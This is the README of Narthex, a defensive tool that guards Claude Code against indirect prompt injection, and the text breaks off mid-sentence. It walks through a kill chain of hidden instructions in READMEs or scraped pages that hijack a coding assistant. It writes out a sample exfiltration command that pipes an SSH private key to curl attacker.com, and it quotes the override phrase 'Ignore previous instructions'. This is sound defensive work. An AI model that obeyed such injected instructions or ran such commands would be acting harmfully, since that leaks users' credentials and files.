Narthex

Narthex

Prompt-injection defenses for [Claude Code](https://code.claude.com/).

Named for the architectural feature of ancient churches: a transitional space at the entrance where the uninitiated could gather before being allowed into the sanctuary. Narthex plays the same role between untrusted content (web pages, READMEs, scraped docs, pasted transcripts) and your trusted environment (your shell, your credentials, your files).

What it protects against

Indirect prompt injection — when an AI coding assistant reads content containing hidden instructions that hijack its behavior. The canonical kill chain:

1. Injection — a hidden HTML comment, zero-width unicode, or markdown image tag planted in a README, PR description, issue, or scraped page.
2. Hijack — the assistant reads the payload as instructions instead of data.
3. Exfiltration — the assistant runs a command that leaks your credentials: cat ~/.ssh/id_rsa | curl attacker.com, env dumps, or uploads of .env files.

Recent writeups of the threat:

• CamoLeak — critical GitHub Copilot vulnerability leaks private source code
• How hidden prompt injections can hijack AI code assistants like Cursor
• Fooling AI agents: Web-based indirect prompt injection observed in the wild

Design principle

Anything *inside* the model's context can be overridden by an injection sitting in that same context. "Ignore previous instructions" works on guidance, not on enforcement. Only the harness — Claude Code's hooks and permission system — runs *outside* the model and can enforce rules that an injected prompt cannot talk its way out of.

Narthex therefore ships four layers — two enforcement, two adviso